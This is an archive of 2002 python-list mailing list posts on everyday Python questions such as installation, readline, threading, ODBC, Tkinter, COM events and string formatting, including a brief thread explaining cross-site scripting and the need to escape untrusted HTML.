>Hi, >When I install Python2.2.1 in windows system. I can only >put the module files in the directry python22 so that the file can be >executed. How can I set the path so that I can run the files in any >directory? Can anybody help me? Thanks. > >zhao > From fredrik at pythonware.com Thu May 2 01:54:28 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 02 May 2002 05:54:28 GMT Subject: Newbie: finding the key/index of the min/max element References: <mailman.1020314405.25019.python-list@python.org> Message-ID: <ow4A8.4702$p56.1112019@newsb.telia.net> Mark McEahern wrote: > Imagine me walking up to a [insert your favorite expert here] and: > > 1. Telling them they ought to change how they do x. Or that they way they > do x is wrong, inefficient, could be better, ought to be more like y. > 2. Asking them how to do x. > > You really think it's arbitrary that 1 is irritating and annoying and 2 is > not? "It's all about doing what's best for the little ones" </F> From amckay at merlintechnologies.com Thu May 16 11:32:33 2002 From: amckay at merlintechnologies.com (Andy McKay) Date: Thu, 16 May 2002 08:32:33 -0700 Subject: Python Image Library Installation Problem In-Reply-To: <i1QE8.50$GI3.1889@nreader2.kpnqwest.net> References: <i1QE8.50$GI3.1889@nreader2.kpnqwest.net> Message-ID: <200205161527.g4GFRmp07678@mail.merlinsoftech.com> Copy the other directories from py22 to python22 as well. There is a PIL directory I believe. The PIL installer is very annoying... On May 16, 2002 08:14 am, dix wrote: > Hi to all again, > I am trying to install the PIL binary distribution for windows. > I downloaded the installation file and launched it. > It created the directory c:\py22. > My python installation is in c:\python22. > I copied the DLLs from c:\py22\DLLs to c:\python22\DLLs. > I tested the installation as in the PIL handbook in Idle entering just the > command: > > import Image > > The system returns me the following error: > >>> import Image > > Traceback (most recent call last): > File "<pyshell#0>", line 1, in ? > import Image > ImportError: No module named Image > > > What should I do to correctly install PIL and test the installation? > None of the provided examples work, because of the same error. > Thanks for any suggestion!! > > dix -- Andy McKay From joonas at olen.to Thu May 2 10:03:14 2002 From: joonas at olen.to (Joonas Paalasmaa) Date: Thu, 02 May 2002 14:03:14 GMT Subject: Command history in python shell under linux References: <ud1ejor35646c6@corp.supernews.com> <slrnad28uu.oqa.ak@ak.silmarill.org> <ud2hejjlp5ied3@corp.supernews.com> Message-ID: <3CD147FA.2040905@olen.to> Stephen Boulet wrote: > Where is readline support enabled? > > I tried running './configure --help' in the source directory for python, but > readline wasn't one of the options... Uncomment and modify some readline-related lines in Modules/Setup after running ./configure From aleax at aleax.it Mon May 13 03:52:36 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 07:52:36 GMT Subject: converting types References: <LIAD8.54124$7R.63494@NewsReader> Message-ID: <8hKD8.34779$CN3.1234475@news2.tin.it> ian wrote: > hi i know its a pain answering newbie questions > that to you lot seem really simple > > but how do i convert an int into a string? Simplest is str(number) -- there are other ways. As others have suggested to you, the % operator, also known as "string formatting operator", is generally handiest for most kinds of string preparation tasks -- msg = "List is %s long" % number You can always use the %s marker in the format string on the left, it means "convert whatever to string", just like the builtin str(whatever). If you have more than one value to convert, then on the right hand side of % you need a tuple: msgx = "List is %s long: %s" % (number, somelist) You may use fancier formatting markers than %s for many specialized uses (ensure field-width, control the number of decimal digits when formatting a floating point number, etc, etc), but these are really advanced issues which you don't need to worry about for now -- %s will serve! Alex From martin at v.loewis.de Sun May 19 07:02:57 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 19 May 2002 13:02:57 +0200 Subject: Python C API version mismatch with readline References: <ueeal1mhbro0a6@corp.supernews.com> Message-ID: <m34rh4jt7i.fsf@mira.informatik.hu-berlin.de> Stephen Boulet <stephen at theboulets.net> writes: > warning: Python C API version mismatch for module strop: This Python has API > version 1011, module strop has version 1010. > sys:1: RuntimeWarning: Python C API version mismatch for module readline: > This Python has API version 1011, module readline has version 1010. > > Is this a problem and how can I solve it? This is very likely a problem. It appears that you still have some old strop.so lying around - you must either delete that, or avoid using it. Regards, Martin From skip at pobox.com Sat May 11 18:02:36 2002 From: skip at pobox.com (Skip Montanaro) Date: Sat, 11 May 2002 17:02:36 -0500 Subject: Numbers of active threads In-Reply-To: <3CDD9650.E0FD5583@engcorp.com> References: <mailman.1021141626.2541.python-list@python.org> <3CDD9650.E0FD5583@engcorp.com> Message-ID: <15581.38140.201150.89621@12-248-41-177.client.attbi.com> >> I use threading module and I need to control numbers of active >> threads. Can you please give me an example how to do that. Peter> "Control" could mean many things, so I'll just point you to Peter> threading.activeCount() which returns the number of threads Peter> active (that were started with that module). Peter> You should be able to use this information to control the number Peter> of threads in an appropriate way for your application. A slightly different approach would be to allow as many threads to start as want to, but fill a Queue.Queue object up with the number of objects that corresponds to the maximum number of threads you want doing something. Call get() when the thread starts and put() before it returns. I use this to cap the number of active MySQLdb connections my system runs. Obviously, this won't work if the "natural" number of threads that might start is very high (dozens to hundreds or more) when you only want a few 1-10 to actually be doing something. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills [required]" - post to chi.jobs From noah at noah.org Wed May 1 15:47:40 2002 From: noah at noah.org (Noah) Date: Wed, 1 May 2002 12:47:40 -0700 Subject: vt100 or vt102 or terminal emulator Message-ID: <PAENINBOOODFDEPOKPKCAEFHCNAA.noah@noah.org> Does anyone know of any vt100 or vt102 emulators in Python? I'm writing a Python screen scraping application and I need to build a virtual screen in memory. The screen reader then needs to parse vt100 escape codes to represent the screen in an array. This should be easy, but I don't want to duplicate work if someone out there already has a terminal emulator module. XTerm or ANSI would also be acceptable -- anything that would work with curses. Yours, Noah From aleax at aleax.it Sat May 11 04:43:03 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 11 May 2002 08:43:03 GMT Subject: Python <-> Jython communication References: <mailman.1020852554.27897.python-list@python.org> <3CDCD49C.2010406@wedgetail.com> Message-ID: <rQ4D8.46783$zW3.567265@news1.tin.it> Derek Thomson wrote: ... >> Corba : sounds good, but have NO experience in it, lots of work > > Since I went to some trouble to make sure Fnorb > (http://sourceforge.net/projects/fnorb), works on Jython (*) , I'm going > to say this is the answer. It's not actually that difficult. You specify > your interface in an interface definition language (IDL), then implement > a server that supports the defined operation calls. Take a look in > examples/hello-world in the Python CVS tree, and I think you'll see that > it's not hard. Python makes it a *lot* easier than CORBA C++ examples > would make you think it will be. *VERY* good point! For example, http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/81254 has an example of Corba-with-Python which really highlights how simple Python makes Corba -- the example is given for omniORBpy but I would hope that doing it in Fnorb (or, half and half to highlight the degree of interoperability that Corba guarantees!) should be just as easy. Alex From martin at v.loewis.de Thu May 16 02:18:00 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 16 May 2002 08:18:00 +0200 Subject: embed data inside string References: <3CE3337F.7CA0D11B@sbcglobal.net> Message-ID: <m37km47h0n.fsf@mira.informatik.hu-berlin.de> Julia Bell <juliabell at sbcglobal.net> writes: > (I don't want to use formatted strings - I'm looking for something to > simplify the line.) > > In perl I would have used: > $mystring = "Value of parameter = $parameter is unexpected" > (inside double quotes, the $parameter variable is evaluated, and it's > value is embedded in the string) I'm looking for something similar in > python where I can refer to the value of the parameter inside a string. The Python equivalent of this is mystring = "Value of parameter = %s is unexpected" % parameter I'm not sure why you would consider this less simple than what you originally had, or than the Perl version. Regards, Martin From andyr at wizzy.com Sat May 25 08:04:13 2002 From: andyr at wizzy.com (Andy Rabagliati) Date: 25 May 2002 12:04:13 GMT Subject: Ann: Stackless Limbo Dancing Works Fine! References: <B90D45DB.A63E%pereira@cis.upenn.edu> <uerd0l9d54dac9@corp.supernews.com> <B913CCBE.ACF4%pereira@cis.upenn.edu> <ueu6nqcanecp44@corp.supernews.com> Message-ID: <acnujt$dva$1@ctb-nnrp1.saix.net> According to Andrew Henshaw <andrew.henshaw at mail.com>: > Fernando Pereira wrote: > > > On 5/23/02 11:31 PM, in article uerd0l9d54dac9 at corp.supernews.com, "Andrew > > Henshaw" <andrew.henshaw at mail.com> wrote: > > > >> Fernando Pereira wrote: > >>> I can't find my CSP book, but from memory I don't think this is correct. > >>> Through || (PAR), it is possible for several concurrent processes to > >>> attempt to read or to write on the same channel. Then the channel > >>> implementation needs a queue to hold all the blocked processes until a > >>> complementary event occurs, at which point one of the pending requests > >>> is matched to the event and the blocked process becomes runable. My experience has been exclusively with occam, on transputers and other hardware, So I can only comment on the practicality of these conventions. I would have a problem if the possibly arbitrary order the sending processes arrived at their output statements, would then determine the order the inputting process had to serve them. Smells of deadlock to me. - I would very much prefer the occam ALT to an imposed order. > >> "We shall observe the convention that channels are used for > >> communication in only one direction and between only two processes. > >> A channel which is used only for output by a process will be called > >> an output channel of that process; and one used only for input will > >> be called an input channel. > Certainly, as I demonstrated with the Occam examples, you can build > higher-level constructs that achieve the effect; but, the channel > primitive itself does not have that characteristic. Indeed , I had (have ..) an arsenal of these - FIFOs, multiplexers, tiny little processes little more than an ALT statement wrapped in a WHILE loop. The occam compiler impoved vastly in its useability when automated checking of channel usage per the 'shall ..' directive above was included. Without that checking, complex programs became a nightmare. I cannot say if this was an occam 'feature' or a CSP feature, but I would guess it applies to both. Cheers, Andy! From irmen at USENET_NOSPAM_REMOVETHISxs4all.nl Sun May 26 10:38:54 2002 From: irmen at USENET_NOSPAM_REMOVETHISxs4all.nl (Irmen de Jong) Date: Sun, 26 May 2002 16:38:54 +0200 Subject: Sockets/select: how to deal with multiple connections in threads? References: <acqha3$gli$1@news1.xs4all.nl> Message-ID: <acqsbm$f0u$1@news1.xs4all.nl> Irmen de Jong wrote: > I have something that works for now, but I'd like your advice & ideas. To answer myself; I got some suggestions by email: - use asyncore / Medusa and forget about threading - don't use a thread on each request, instead, create a thread and let it live. Let the main thread deal *only* with accept()-ing new connections. Because my software (Pyro) currently is structured around threads, I'm trying the second suggestion. First results look promising :-) Irmen From shagshag13 at yahoo.fr Tue May 28 12:48:58 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Tue, 28 May 2002 18:48:58 +0200 Subject: Another stupid question... References: <ad03jf$te1jk$1@ID-146704.news.dfncis.de> <ad088q$42s$1@lacerta.tiscalinet.it> Message-ID: <ad0cdb$stpg2$1@ID-146704.news.dfncis.de> so i've checked it, i already have an env var called TERM=xterm but when i'm in python command line, it doesn't take into account arrow keys. (^[[A, ^[[B, ^[[C, ^[[D) for example here is what i get [/home/shashag 21 ] python Python 2.2.1 (#1, May 28 2002, 16:46:07) [GCC 2.95.2 19991024 (release)] on sunos5 Type "help", "copyright", "credits" or "license" for more information. >>> ^[[A^[[B^[[D^[[C thanks in advance, s13. "6e6op" <6e6op at excite.it> a ?crit dans le message de news: ad088q$42s$1 at lacerta.tiscalinet.it... > you can do 2 things: > 1) look for the terminal specification you use and (if possible) turn to on > the arrows keys code, then type export TERM=vtXXX where XXX is the number of > your terminal codes (there is written in some options in your program) From cliechti at gmx.net Wed May 22 17:37:59 2002 From: cliechti at gmx.net (Chris Liechti) Date: 22 May 2002 23:37:59 +0200 Subject: Extending: overloading operators (e.g. for a vector class) References: <Xns9216288B48C8Fcliechtigmxnet@62.2.16.82> <acf32s$nor$2@peabody.colorado.edu> Message-ID: <Xns9216F0BE4BEC1cliechtigmxnet@62.2.16.82> Fernando P?rez <fperez528 at yahoo.com> wrote in news:acf32s$nor$2 at peabody.colorado.edu: > Chris Liechti wrote: > >> say i have the follwing class (details ommited): >> >> class Vector2D: >> def __init__(self, x=0, y=0): >> self.x, self.y = x, y >> ... >> def __mul__(self, other): >> if type(other) in (int, float): >> return Vector2D( self.x*other, self.y*other ) >> else: >> raise NotImplementedError >> >> now i want to program this as a C extension type (for practise, i >> know that there are existing extensions to represent a vector). > > Why don't you poke a bit through the Numeric sources? I'm sure they > are quite a valuable source of the gory details on how to do this, > since a numeric array() has overloaded all arithmetic operators in > various fancy ways. > > Good luck, > f i already have downloaded it but it not so easy to read that code... i.e. the operators don't seem to be directly in the array object but separately passed through a dict. folowing that traces is not so simple. i just hoped to find a more stright forward and simpler example - but it's not _that_ important. thanks anyway chris -- Chris <cliechti at gmx.net> From dalke at dalkescientific.com Sun May 26 15:00:11 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Sun, 26 May 2002 13:00:11 -0600 Subject: 'for every' and 'for any' References: <20020526135944.A32690@hishome.net> <mailman.1022422662.14438.python-list@python.org> Message-ID: <acrbmu$il4$1@slb5.atl.mindspring.net> jepler at unpythonic.net: >this is equivalent to > bool([None for x in args if not isinstance(x, str)]) Not quite the same as the original poster's request, which raises a TypeError, and raises it at the first error location without continuing to scan the rest of the args. It's also harder to understand this as a list comprehension. Jeff's style, of for x in args: if not isinstance(x, str): raise TypeError, "arguments must be of type str" is what I consider to tbe the prefered style, except I think the exception should be raised raise TypeError("arguments must be of type str") (That preferred change occured, I believe, in Python 1.4.) >> valid = i>0 for every i in vector > >This is equivalent to > not [None for i in vector if not i > 0] Jeff's equivalent also stopped at the firt match while yours scans everything. That may or may not be part of the consideration of the original poster. Oren Tirosh: >> The words 'any' and 'every' can be non-reserved keywords (like the word 'as' >> in "import foo as bar"). They are valid only after the keyword 'for' when >> it's used in a non-statement context. Jython supports something like this, to allow "print" as a method name. This is important because there are a lot of Java classes with that name, as it isn't a keyword in Java. As I recall, this came up recently in python-dev and Guido was against implementing it for CPython, because he didn't want a word which was a keyword in places and a variable in others. This change won't happen. Andrew dalke at dalkescientific.com From geek+ at andrew.cmu.edu Wed May 1 14:14:56 2002 From: geek+ at andrew.cmu.edu (geek) Date: 01 May 2002 14:14:56 -0400 Subject: Python vs. Perl, which is better to learn? In-Reply-To: <aapark$104$1@panix1.panix.com> References: <mailman.1020147892.13578.python-list@python.org> <aamm5k$kv3$1@bubba.NMSU.Edu> <aan2ll$ib6$1@panix1.panix.com> <aaovlj$agm$1@bubba.NMSU.Edu> <aapark$104$1@panix1.panix.com> Message-ID: <82vga7ivkv.fsf@andrew.cmu.edu> Then <aaovlj$agm$1 at bubba.NMSU.Edu>, spoke up and said: > Bob Melson <"melsonr at earthlink.net"> wrote: > >Kinda hard to say. In general, however, I'd say that _I_ would be inclined > >to use perl in preference to python where there's no significant advantage > >to be derived from python's OO features. > > Can you provide a non-contrived example, given that you're attempting to > advise someone who knows neither Perl nor Python? My rule is simply: if there's no good reason to use !Python, use Python. Now, what's a good reason not to use Python? 1) standalone project, the coder doesn't know Python but does know $scripting_language fairly well. 2) large body of existing work, not in Python, which will not be ported to Python. Yes, these are simplistic. For instance, if the "large body of work" consists mostly of C/Fortran libraries, I'd be tempted to SWIG it and use Python. From robin at jessikat.fsnet.co.uk Thu May 23 10:10:42 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Thu, 23 May 2002 15:10:42 +0100 Subject: Python cross-site scripting exploits? References: <DuIBcWA5WK78Ewyc@jessikat.fsnet.co.uk> <slrnaept7v.32d.akuchlin@ute.mems-exchange.org> Message-ID: <5bufxjAihP78EwHB@jessikat.demon.co.uk> In article <slrnaept7v.32d.akuchlin at ute.mems-exchange.org>, A.M. Kuchling <akuchlin at ute.mems-exchange.org> writes >In article <DuIBcWA5WK78Ewyc at jessikat.fsnet.co.uk>, > Robin Becker wrote: >> The alleged fix seems to involve more complete argument checking, is >> that required for any such defence? What should the request response be? > >CSRF attacks have nothing to do with eval() or compile(), but by >including untrusted bits of text in HTML output without escaping them. >This means that if someone manages to input <script>...javascript >code...</script> into the program (perhaps by putting it in their CVS >checkin message), someone who comes along and views the page later >will end up running that JavaScript code. > >The solution is difficult: you just have to be very careful to always >escape text of unknown provenance that's in HTML. > >--amk > that was my first guess ie viewCVS by its nature has the URL appearing on the returned page (possibly more than once). Clearly the correct bit of URL has only acceptable characters and known arguments. If these are not well formed then presumably an error should be raised. I suppose lib/cgi.py doesn't have a safe mode where you can tell it the allowed argument structure for GET type requests :( -- Robin Becker From bvdpoel at uniserve.com Thu May 2 17:29:29 2002 From: bvdpoel at uniserve.com (bvdpoel at uniserve.com) Date: Thu, 02 May 2002 14:29:29 -0700 Subject: Packing data References: <3CD0850E.94E6EC5F@uniserve.com> <MPG.173a32a9eb02be4a9896d0@news.nwlink.com> <kuk7qm8r3z.fsf@lasipalatsi.fi> Message-ID: <3CD1AFB9.B964EDA5@uniserve.com> Erno Kuusela wrote: > > In article <MPG.173a32a9eb02be4a9896d0 at news.nwlink.com>, Jeff Shannon > <jeff at ccvcorp.com> writes: > > | Presuming that var is a list of ints, the following will be much > | more efficient than your code, without requiring array/struct. > > | def mkstring(var): > | var = [chr(a) for a in var] > | return ''.join(var) > > import string, time > > def time_fun(f): > start = time.time() > f() > elapsed = time.time() - start > print f, round(elapsed, 2) > > L = [42]*1000000 > > def listcomp_test(): > return string.join([chr(x) for x in L], '') > > def map_test(): > return string.join(map(chr, L), '') > > assert map_test() == listcomp_test() > for f in listcomp_test, map_test: > time_fun(f) > > prints, for me: > > % python ding.py > <function listcomp_test at 1482a4> 6.82 > <function map_test at 1482d4> 1.83 > python ding.py 17.44s user 0.16s system 98% cpu 17.897 total > > the map version is also more readable, imho. > > -- erno Thanks ... yet another way to do it! Damn Python--too many choices :) -- Bob van der Poel ** Wynndel, British Columbia, CANADA ** EMAIL: bvdpoel at uniserve.com WWW: http://users.uniserve.com/~bvdpoel From cliechti at gmx.net Sat May 25 19:49:54 2002 From: cliechti at gmx.net (Chris Liechti) Date: 26 May 2002 01:49:54 +0200 Subject: How should I dynamically generate html tables? References: <acka3j$b9t$1@hfc.pacific.net.hk> Message-ID: <Xns921A12FA1A762cliechtigmxnet@62.2.16.82> Scrumpy <reply at in_newsgroup.tks> wrote in news:acka3j$b9t$1 at hfc.pacific.net.hk: ... > I have a lefthand div column which contains a software categories menu > from which you can jump to the different categories of software on the > page. In the righthand div column I list each piece of software in > it's own table as follows (this is a simplified version): ... > In the future, I'd like to generate the whole html page automatically > whenever data in the CSV file changes i.e. after I upload an updated > CSV file to my website (alternatively, I could setup Apache etc. on my > home PC, auto-generate the page and then upload it to my public > website). That would mean tables would have to be automatically added, > deleted or their contents modified. > > Ideally I would also like to automatically generate an updated menu in > the "leftcontent" div, which would save me time if a new software > category is added (each record in the CSV file contains a software > category and there can be more than one piece of software in each > category). have a look at http://ht2html.sf.net. it's the tool that is also used for python.org. that way you can generate a .ht file from your script and ht2html puts the navigation on the left etc. around it. so you can essentialy start every time with a new .ht file and don't need to extract old data from the html. chris -- Chris <cliechti at gmx.net> From false at email.com Wed May 22 09:08:58 2002 From: false at email.com (Lorenzo Bolognini) Date: Wed, 22 May 2002 13:08:58 GMT Subject: Low level memory management Message-ID: <KLMG8.1134$z87.12314@twister2.libero.it> Hi all, is there a way to manipulate at a low level memory in Python (as in C) ? I know that Python wasn't thought to do that but there maybe a Python module that acts as a wrapper around some low level functions written in C. Thanks All, Lorenzo From jeff at ccvcorp.com Wed May 1 13:07:44 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 1 May 2002 10:07:44 -0700 Subject: Comment on Draft Pep ver 4 -- Psuedo Deprecations of Builtins References: <aan5hv$aor$1@bob.news.rcn.net> <ucuagjg8it3v4b@news.supernews.com> Message-ID: <MPG.1738ef13371e6ed49896cf@news.nwlink.com> In article <ucuagjg8it3v4b at news.supernews.com>, johnroth at ameritech.net says... > > "Raymond Hettinger" <python at rcn.com> wrote in message > news:aan5hv$aor$1 at bob.news.rcn.net... > > Reading all of the posts on the deprecation pep shows that there is a > > tension between ability to remove cruft versus breakage of old > programs. > > My idea for getting the best of both is psuedo-deprecation. > > > > Let's take anything that shouldn't be there anymore (read as anything > that > > wouldn't be put in again if we were doing this from scratch) in a > separate > > section of the library reference called Obsolete Constructs. We'll > pull it > > out of the main body of the docs and the tutorial; remove uses of it > from > > the Python library; and ask authors not to even mention the > > psuedo-deprecates > > (except in a separate section devoted to being able to read old code). > > Agreed. > > > I no longer think map(), filter(), and reduce() should even be > > psuedo-deprecated, > > but apply(), oct() and hex() are prime candidates. The input() > function > > should > > still be considered for genuine deprecation and deletion, but that > reflects > > my > > view of input() as a bug. > > I strongly disagree about apply(). The only use I've found for it > varies the function which it calls, not the parameter lists! Having > variable parameter lists doesn't hack it - I need the variable > function. But variable functions can be had simply by binding a name to whatever function you want, or storing a function object in a sequence/mapping, or any number of other ways. >>> def func1(): ... print 'One!' ... >>> def func2(): ... print 'Two!' ... >>> functions = [func1, func2] >>> functions[0]() One! >>> functions[1]() Two! >>> How does using apply() improve on this? -- Jeff Shannon Technician/Programmer Credit International From peter at engcorp.com Sat May 4 23:14:45 2002 From: peter at engcorp.com (Peter Hansen) Date: Sat, 04 May 2002 23:14:45 -0400 Subject: Scripting lanuages for laboratory tests References: <aagkfm$6kf$1@news5.svr.pol.co.uk> Message-ID: <3CD4A3A5.7A331C00@engcorp.com> [Reposting since all my outbound news for the last week has been swallowed. Originally posted April 28.] Etta Makwetta wrote: > > I am tring to decide on which scripting language to use in one of our > laborities during testing procedures, and I don't really know what the real > advantages and disadvantages are. I have made the following list, and would > like to know if anybody knows of any obvoius other advantages/disadvantages > that Python has compared to Tcl. Any other comments about Ruby, Perl etc. > are also welcome. I did the same search as you several years ago for a scripting language capable of doing sophisticated factory automated testing in a telecom company. I ended up (rather quickly actually) choosing Python and not for a millisecond have I had reason to regret that choice. We now use Python for effectively everything we can, rather than just as a "mere" scripting language for testing. It has led us quickly into using XML, wxPython, Zope (which itself has revolutionized our internal processes in at least a few groups of the entire company), and others. > Python: > > Pros: Object oriented, Modular (name scope etc), Portable, Overflow > checking, Exception handling, Easy Embeddability (from c-functions), Easy > Extension (to c-functions), Support for complicated data structures, > Copyrighted but free All that and more including much higher productivity for programmers, higher readability and maintainability. > Cons: GUI slightly more complicated than Tcl, I agree with Alex' response to you on GUIs. > More to learn, Easier to learn too. Python is considered by many to be one of the easiest (if not /the/ easiest) to learn general purpose languages. > Not support calling an arbitrary dll. > Neither Tcl nor Python supports calling an arbitrary dll. Not true. Python has "calldll" which we've used successfully to wrap several arbitrary DLLs, including one for a GPIB controller card in a PC, used in factory automated testing. > Tcl supports > loading of dll's, however they must contain an initialisation procedure that > translates the functions to Tcl commands. If this is not an option, e.g. if > you want to use a Win32 dll, a wrapper must be written for each dll. Similar > conditions apply to Python. Well, hmm, that's what I just said. Isn't that the same thing? Are you merely concerned about the difficulty of writing the wrapper? It is rather easy... -Peter From gorny0 at zonnet.nl Sun May 12 12:43:01 2002 From: gorny0 at zonnet.nl (Gorny) Date: Sun, 12 May 2002 18:43:01 +0200 Subject: add_command Message-ID: <abm6cp$rv1$1@reader11.wxs.nl> Hi, Is there a way of doing something so a menu-command can call the callback function with (more) or other arguments?? So you could use instead of this: status = Menu() status.add_command(label='wh00t', command=self.func) something like: status.add_command(label='wh00t', command=self.func, argskeyword=tuple_containing_args) Gorny -- "Spread the sources" http://gorny.cjb.net From me at michaelbauers.com Thu May 30 09:36:26 2002 From: me at michaelbauers.com (Michael Bauers) Date: Thu, 30 May 2002 08:36:26 -0500 Subject: Tkinter question (reposted) Message-ID: <ufcanbc9qafp83@corp.supernews.com> The online docs had a code snippet that was not working as shown. I had to remove the 'event' parameter from the callback 'cb'. Did I mess up, or is this a matter of version differences between the doc, and Python 2.2? My modified def line looked like: def cb(self) This is what was in the docs: def __init__(self, master): self.var = IntVar() c = Checkbutton(master, text="Enable Tab", variable=self.var, command=self.cb) c.pack() def cb(self, event): print "variable is", self.var.get() From donald.braman at yale.edu Thu May 9 18:24:21 2002 From: donald.braman at yale.edu (don) Date: Thu, 9 May 2002 15:24:21 -0700 Subject: odbc advice? References: <abel0d$anh$1@news.ycc.yale.edu> <20020509234009.49430be6.wilk@flibuste.net> Message-ID: <abesou$joo$1@news.ycc.yale.edu> Sorry, I should have included the rest: conn = odbc.odbc('mybase') cur = conn.cursor() cur.execute("""UPDATE Cases SET Cases.Opinion = NULL WHERE updateopinion=1""") conn.commit() cur.close() conn.close() I'll try it with cur = NONE at the end as well & see what happens. Thanks for the tip! -Don "William Dode" <wilk at flibuste.net> wrote in message news:20020509234009.49430be6.wilk at flibuste.net... > Le Thu, 9 May 2002 13:11:48 -0700 > "don" <donald.braman at yale.edu> ?crivait: > > > I'm trying to update table in a SQL Server 2000 database. The following > > (and other similar) code hangs Python about half of the time when I run > > it and then, once hung, will hang every time until I reboot. Does anyone > > have any tips on handling odbc connections in Python? I've been hunting > > around for a while, but haven't found descriptions of hangs like this. > > My reference of choice (Python Web Programming) tells me the ODBC driver > > isn't ready for prime-time. I'm not sure I have any other options, > > though. Any help appreciated. -Don > > > > ++++++++++++++++++++++++ > > > > import dbi, odbc > > > > conn = odbc.odbc('mydb') > > > > cur = conn.cursor() > > > > cur.execute("""UPDATE Cases SET Cases.Opinion = NULL WHERE > > updateopinion=1""") > did you try to add > > cur.commit() > cur.close() > cur=None > > > > > > > > > > > -- > William Dod? - Informaticien Ind?pendant > http://www.flibuste.net From jochen at jochen-kuepper.de Mon May 20 21:48:48 2002 From: jochen at jochen-kuepper.de (Jochen =?iso-8859-1?q?K=FCpper?=) Date: 20 May 2002 21:48:48 -0400 Subject: OT: Crazy Programming References: <mailman.1021198403.21335.python-list@python.org> <87offlnq3k.fsf@mathdogs.com> <chris-55B5FD.02324413052002@corp.supernews.com> <abnqdd$8bf$1@slb0.atl.mindspring.net> <23891c90.0205130956.6f0436a0@posting.google.com> <ht91eus6861nu2am7164l8ui9925rmu5sn@4ax.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> <23891c90.0205150201.6cd8193e@posting.google.com> <83y9ejw6cp.fsf@panacea.canonical.org> <o40heu4go66aemsg2uob070d5nfeonng00@4ax.com> Message-ID: <m3wuty2run.fsf@box.home.de> On Sun, 19 May 2002 21:56:08 -0700 Tim Roberts wrote: Tim> But for elevator control software or bullet train software, Tim> correctness is VITALLY important to real-world success. I have "survived" too many elevators that needed a reset on a regular basis to believe you:) Then I hope for the trains they do it before it is actually needed, at least. Greetings, Jochen -- Einigkeit und Recht und Freiheit http://www.Jochen-Kuepper.de Libert?, ?galit?, Fraternit? GnuPG key: 44BCCD8E Sex, drugs and rock-n-roll From mirandacascade at yahoo.com Tue May 14 16:06:21 2002 From: mirandacascade at yahoo.com (Miranda Evans) Date: 14 May 2002 13:06:21 -0700 Subject: wait() method of threading.Event() class References: <59e5b87.0205081451.69641041@posting.google.com> <3CD9B0A7.8010504@skippinet.com.au> <59e5b87.0205131422.3fe36805@posting.google.com> <3CE04EC4.5040400@skippinet.com.au> Message-ID: <59e5b87.0205141206.10ac37d@posting.google.com> I must be missing something fundamental that involves notification between the event firing and the code that polls the results of MsgWaitForMultipleObjects. The statements within the "if rc == win32event.WAIT_OBJECT_0:" test never get executed even though the it's pretty clear that the event handler code gets executed. Using one of the events from testMSOfficeEvents.py as the basis for this test. contents of test_demo.py are: import time, win32event, win32com.client, pythoncom class xlEv: def __init__(self): self.event = win32event.CreateEvent(None, 0, 0, None) def OnSheetBeforeDoubleClick(self, sh, target, cancel): print 'double click happened' win32event.SetEvent(self.event) def demo(): g = xlEv() xl=win32com.client.DispatchWithEvents("Excel.Application", xlEv) xl.Visible=1 xl.Workbooks.Add() start_time = time.time() while 1: rc = win32event.WaitForMultipleObjects((g.event,), 0, 1000, win32event.QS_ALLEVENTS) if rc == win32event.WAIT_OBJECT_0: print 'event signalled' break elif rc == win32event.WAIT_OBJECT_0+1: pythoncom.PumpWaitingMessages() # check for timeout if time.time() - start_time > 15: print 'timed out' break Then in PythonWin >>> import test_demo >>> test_demo.demo() < at this point, I double click in a cell in the Excel app and go back to PythonWin> >>> double click happened >>> timed out I did some additional tests to keep track of the unique values assigned to rc during the life of the while loop...the only value that ever gets assigned to rc is 1. So, based on these tests, I'm pretty sure that the "if rc == win32event.WAIT_OBJECT_0" test never evaluates to true, but I don't know why. Mark Hammond <mhammond at skippinet.com.au> wrote in message news:<3CE04EC4.5040400 at skippinet.com.au>... > Miranda Evans wrote: > > Using win32\Demos\timer_demo.py as a framework for a solution to this > > issue led to 2 additional questions: > > > > 1) are the last 2 arguments to MsgWaitForMultipleObjects() in > > timer_demo.py reversed? (I thought I saw a post that suggested this > > was the case, but haven't been able to find that post again.) > > That appears to be true. I have fixed it here. Good catch ;) > > > 2) given the nature of this particular application (wait for either an > > event from COM object to fire or for a timer to expire, whichever > > comes first) is it preferable to use two classes (one for the timer > > and one for the events from the COM object) or one class (combine > > timer and COM object event handler in one class)? > > The best is probably to just wait for a single event with a timeout that > corresponds to your "timer to expire" interval. > > > 2 class example: > > # glork is timer > > class glork > > # same __init__ and increments method as in timer_demo.py > > Don't use a timer. timer_demo was just an example of a MsgWaitFor* loop. > > Something like: > > # evHandle handles events from COM object > class evHandler > def __init__(self): > self.event = win32event.CreateEvent(None, 0, 0, None) > def OnSomeEvent(self): > win32event.SetEvent(self.event) > > def demo(delay=1000, stop=10): > stop_time = time.time() + 60 # 60 seconds in the future. > eh=evHandler() > while 1: > rc = win32event.MsgWaitForMultipleObjects( > (g.event,), # list of objects > 0, # wait all > 1000, # timeout > win32event.QS_ALLEVENTS, # type of input > ) > if rc == win32event.WAIT_OBJECT_0: > # Event signalled - the COM object fired! > break > elif rc == win32event.WAIT_OBJECT_0+1: > # Message waiting. > pythoncom.PumpWaitingMessages() > else: > # This 1 second wait timed-out - see if time has expired. > if time.time()>=stop_time: > # time is up! > break > > Mark. From gusraan at terra.com.br Sun May 12 20:18:52 2002 From: gusraan at terra.com.br (Raphael Ribeiro) Date: 12 May 2002 17:18:52 -0700 Subject: Core Python programming Message-ID: <337619fa.0205121618.26e557e0@posting.google.com> I wanna buy this book , for i heard it is PERFECT for a beginner , but i saw it , and it was released in 2000, will i get obsolete if buy it today, and will i have problems with the new features included after 2000? From steve at lurking.demon.co.uk Tue May 28 07:51:36 2002 From: steve at lurking.demon.co.uk (Steve Horne) Date: Tue, 28 May 2002 12:51:36 +0100 Subject: How long until 2.3a1? Message-ID: 